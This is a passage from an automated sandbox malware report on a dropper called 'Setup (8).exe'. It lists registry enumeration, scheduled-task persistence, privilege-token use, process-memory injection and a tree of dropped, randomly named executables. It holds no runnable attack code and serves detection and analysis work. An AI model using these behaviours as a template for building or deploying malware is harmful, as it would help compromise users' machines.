\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier 2621700.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision 2621700.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 2621700.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 V60K7lrty0WkifU53uH86gHY.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz jVMkn0lbkgcjZ6FfhcWxMlqp.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4216 schtasks.exe 1636 schtasks.exe 10196 schtasks.exe 10152 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 9612 timeout.exe 8788 timeout.exe 7828 timeout.exe -
Enumerates system info in registry 2 TTPs 39 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU 2621700.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU jVMkn0lbkgcjZ6FfhcWxMlqp.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS 2621700.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU V60K7lrty0WkifU53uH86gHY.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS jVMkn0lbkgcjZ6FfhcWxMlqp.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS V60K7lrty0WkifU53uH86gHY.exe -
Kills process with taskkill 4 IoCs
pid Process 4468 taskkill.exe 8960 taskkill.exe 3432 taskkill.exe 1736 taskkill.exe -
Modifies data under HKEY_USERS 43 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs sihclient.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 8832 PING.EXE -
Script User-Agent 6 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 200 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 467 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 515 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 90 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 102 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 148 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4960 Setup (8).exe 4960 Setup (8).exe 3572 WerFault.exe 3572 WerFault.exe 2604 V60K7lrty0WkifU53uH86gHY.exe 2604 V60K7lrty0WkifU53uH86gHY.exe 2980 WerFault.exe 2980 WerFault.exe 4372 WerFault.exe 4372 WerFault.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 3424 _WZoBLSntrreJ51SiufataCE.exe 6108 WerFault.exe 6108 WerFault.exe 2924 WerFault.exe 2924 WerFault.exe 6068 WerFault.exe 6068 WerFault.exe 7116 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 7116 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 2976 WerFault.exe 2976 WerFault.exe 7228 msedge.exe 7228 msedge.exe 1716 mUdx2n7wPbN9LsUUE5s9jXl3.exe 1716 mUdx2n7wPbN9LsUUE5s9jXl3.exe 4384 msedge.exe 4384 msedge.exe 1864 XYO3MHXLpx8NpACTxzANIQ6u.exe 1864 XYO3MHXLpx8NpACTxzANIQ6u.exe 3820 7849818.exe 3820 7849818.exe 5788 4709399.exe 5788 4709399.exe 4780 WerFault.exe 4780 WerFault.exe 4872 3495894.exe 4872 3495894.exe 6896 Process not Found 6896 Process not Found 1012 _WZoBLSntrreJ51SiufataCE.exe 1012 _WZoBLSntrreJ51SiufataCE.exe 1864 XYO3MHXLpx8NpACTxzANIQ6u.exe 1864 XYO3MHXLpx8NpACTxzANIQ6u.exe 4844 Setup.exe 4844 Setup.exe 4844 Setup.exe 4844 Setup.exe 4844 Setup.exe 4844 Setup.exe 4844 Setup.exe 4844 Setup.exe 5396 WerFault.exe 5396 WerFault.exe -
Suspicious behavior: SetClipboardViewer 3 IoCs
pid Process 4040 WinHoster.exe 7064 1119542.exe 6292 2419993.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
description pid Process Token: SeDebugPrivilege 1608 NEwspionZOWid2LXZjK1dl1Y.exe Token: SeDebugPrivilege 3304 NW5Z3qPefjTEusXKFa8IVskj.exe Token: SeRestorePrivilege 3572 WerFault.exe Token: SeBackupPrivilege 3572 WerFault.exe Token: SeRestorePrivilege 2980 WerFault.exe Token: SeBackupPrivilege 2980 WerFault.exe Token: SeRestorePrivilege 2604 V60K7lrty0WkifU53uH86gHY.exe Token: SeBackupPrivilege 2604 V60K7lrty0WkifU53uH86gHY.exe Token: SeDebugPrivilege 4780 WerFault.exe Token: SeDebugPrivilege 4468 taskkill.exe Token: SeDebugPrivilege 3820 7849818.exe Token: SeDebugPrivilege 4872 3495894.exe Token: SeDebugPrivilege 5788 4709399.exe Token: SeDebugPrivilege 1716 mUdx2n7wPbN9LsUUE5s9jXl3.exe Token: SeDebugPrivilege 6032 xiOTV_EqoRK54aU16WLOEZrv.exe Token: SeDebugPrivilege 1864 XYO3MHXLpx8NpACTxzANIQ6u.exe Token: SeDebugPrivilege 5948 Tra.exe.com Token: SeDebugPrivilege 1012 _WZoBLSntrreJ51SiufataCE.exe Token: SeDebugPrivilege 4940 LivelyScreenRecS3.0.exe Token: SeManageVolumePrivilege 3024 md8_8eus.exe Token: SeDebugPrivilege 6916 _WZoBLSntrreJ51SiufataCE.exe Token: SeDebugPrivilege 4888 1629069.exe Token: SeDebugPrivilege 6284 8622210.exe Token: SeDebugPrivilege 4784 NEwspionZOWid2LXZjK1dl1Y.exe Token: SeDebugPrivilege 4412 1272143.exe Token: SeDebugPrivilege 3132 8160874.exe Token: SeDebugPrivilege 5424 8216323.exe Token: SeDebugPrivilege 7476 _WZoBLSntrreJ51SiufataCE.exe Token: SeManageVolumePrivilege 2572 note866.exe Token: SeDebugPrivilege 8512 _WZoBLSntrreJ51SiufataCE.exe Token: SeDebugPrivilege 8332 YAUieWzarfiE2eeBIIFMs6xl.exe Token: SeTcbPrivilege 4892 svchost.exe Token: SeTcbPrivilege 4892 svchost.exe Token: SeTcbPrivilege 4892 svchost.exe Token: SeTcbPrivilege 4892 svchost.exe Token: SeTcbPrivilege 4892 svchost.exe Token: SeTcbPrivilege 4892 svchost.exe Token: SeDebugPrivilege 6764 _WZoBLSntrreJ51SiufataCE.exe Token: SeDebugPrivilege 6172 V60K7lrty0WkifU53uH86gHY.exe Token: SeDebugPrivilege 6760 3484766.exe Token: SeDebugPrivilege 7280 4549539.exe -
Suspicious use of FindShellTrayWindow 10 IoCs
pid Process 4176 mQnGo1IiFkffX5J7JBljq4Bl.tmp 768 stats.tmp 4384 msedge.exe 8824 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 8824 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 8824 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 9896 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 9944 YAUieWzarfiE2eeBIIFMs6xl.exe 9944 YAUieWzarfiE2eeBIIFMs6xl.exe 9944 YAUieWzarfiE2eeBIIFMs6xl.exe -
Suspicious use of SendNotifyMessage 6 IoCs
pid Process 8824 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 8824 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 8824 jVMkn0lbkgcjZ6FfhcWxMlqp.exe 9944 YAUieWzarfiE2eeBIIFMs6xl.exe 9944 YAUieWzarfiE2eeBIIFMs6xl.exe 9944 YAUieWzarfiE2eeBIIFMs6xl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4960 wrote to memory of 1012 4960 Setup (8).exe 80 PID 4960 wrote to memory of 1012 4960 Setup (8).exe 80 PID 4960 wrote to memory of 1012 4960 Setup (8).exe 80 PID 4960 wrote to memory of 8 4960 Setup (8).exe 84 PID 4960 wrote to memory of 8 4960 Setup (8).exe 84 PID 4960 wrote to memory of 8 4960 Setup (8).exe 84 PID 4960 wrote to memory of 1036 4960 Setup (8).exe 82 PID 4960 wrote to memory of 1036 4960 Setup (8).exe 82 PID 4960 wrote to memory of 1036 4960 Setup (8).exe 82 PID 4960 wrote to memory of 776 4960 Setup (8).exe 81 PID 4960 wrote to memory of 776 4960 Setup (8).exe 81 PID 4960 wrote to memory of 776 4960 Setup (8).exe 81 PID 4960 wrote to memory of 656 4960 Setup (8).exe 83 PID 4960 wrote to memory of 656 4960 Setup (8).exe 83 PID 4960 wrote to memory of 656 4960 Setup (8).exe 83 PID 4960 wrote to memory of 1192 4960 Setup (8).exe 86 PID 4960 wrote to memory of 1192 4960 Setup (8).exe 86 PID 4960 wrote to memory of 1192 4960 Setup (8).exe 86 PID 4960 wrote to memory of 1076 4960 Setup (8).exe 85 PID 4960 wrote to memory of 1076 4960 Setup (8).exe 85 PID 4960 wrote to memory of 1076 4960 Setup (8).exe 85 PID 4960 wrote to memory of 1340 4960 Setup (8).exe 87 PID 4960 wrote to memory of 1340 4960 Setup (8).exe 87 PID 4960 wrote to memory of 1372 4960 Setup (8).exe 89 PID 4960 wrote to memory of 1372 4960 Setup (8).exe 89 PID 4960 wrote to memory of 1372 4960 Setup (8).exe 89 PID 4960 wrote to memory of 1388 4960 Setup (8).exe 88 PID 4960 wrote to memory of 1388 4960 Setup (8).exe 88 PID 4960 wrote to memory of 1388 4960 Setup (8).exe 88 PID 4960 wrote to memory of 1472 4960 Setup (8).exe 90 PID 4960 wrote to memory of 1472 4960 Setup (8).exe 90 PID 4960 wrote to memory of 1472 4960 Setup (8).exe 90 PID 4960 wrote to memory of 1608 4960 Setup (8).exe 92 PID 4960 wrote to memory of 1608 4960 Setup (8).exe 92 PID 4960 wrote to memory of 1448 4960 Setup (8).exe 91 PID 4960 wrote to memory of 1448 4960 Setup (8).exe 91 PID 4960 wrote to memory of 1448 4960 Setup (8).exe 91 PID 4960 wrote to memory of 1172 4960 Setup (8).exe 93 PID 4960 wrote to memory of 1172 4960 Setup (8).exe 93 PID 4960 wrote to memory of 1172 4960 Setup (8).exe 93 PID 4960 wrote to memory of 1116 4960 Setup (8).exe 94 PID 4960 wrote to memory of 1116 4960 Setup (8).exe 94 PID 4960 wrote to memory of 1116 4960 Setup (8).exe 94 PID 4960 wrote to memory of 1780 4960 Setup (8).exe 95 PID 4960 wrote to memory of 1780 4960 Setup (8).exe 95 PID 4960 wrote to memory of 1780 4960 Setup (8).exe 95 PID 4960 wrote to memory of 1864 4960 Setup (8).exe 96 PID 4960 wrote to memory of 1864 4960 Setup (8).exe 96 PID 4960 wrote to memory of 1864 4960 Setup (8).exe 96 PID 4960 wrote to memory of 1888 4960 Setup (8).exe 107 PID 4960 wrote to memory of 1888 4960 Setup (8).exe 107 PID 4960 wrote to memory of 1888 4960 Setup (8).exe 107 PID 4960 wrote to memory of 1716 4960 Setup (8).exe 106 PID 4960 wrote to memory of 1716 4960 Setup (8).exe 106 PID 4960 wrote to memory of 1716 4960 Setup (8).exe 106 PID 4960 wrote to memory of 2376 4960 Setup (8).exe 104 PID 4960 wrote to memory of 2376 4960 Setup (8).exe 104 PID 4960 wrote to memory of 2376 4960 Setup (8).exe 104 PID 4960 wrote to memory of 2892 4960 Setup (8).exe 101 PID 4960 wrote to memory of 2892 4960 Setup (8).exe 101 PID 4960 wrote to memory of 2892 4960 Setup (8).exe 101 PID 4960 wrote to memory of 3304 4960 Setup (8).exe 97 PID 4960 wrote to memory of 3304 4960 Setup (8).exe 97 PID 4960 wrote to memory of 820 4960 Setup (8).exe 114
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (8).exe"C:\Users\Admin\AppData\Local\Temp\Setup (8).exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4960 -
C:\Users\Admin\Documents\LkrfycFkfTksTzUauegVflMh.exe"C:\Users\Admin\Documents\LkrfycFkfTksTzUauegVflMh.exe"2⤵
- Executes dropped EXE
PID:1012
-
-
C:\Users\Admin\Documents\KKuSL32TYr7MYeZ3STivpDoN.exe"C:\Users\Admin\Documents\KKuSL32TYr7MYeZ3STivpDoN.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:776 -
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:3024
-
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
PID:4760
-
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"3⤵
- Executes dropped EXE
PID:4180
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe"C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1036 -
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Executes dropped EXE
PID:2476
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Executes dropped EXE
PID:5388
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Executes dropped EXE
PID:1944
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Executes dropped EXE
PID:5928
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Executes dropped EXE
PID:5572
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Executes dropped EXE
PID:964
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Executes dropped EXE
PID:3708
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:2508
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:4352
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6064
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6752
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:5008
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:1536
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:5044
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7012
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7876
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:5340
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7676
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7900
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7504
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:2224
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8316
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9200
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9044
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9280
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9840
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9292
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:1484
-
-
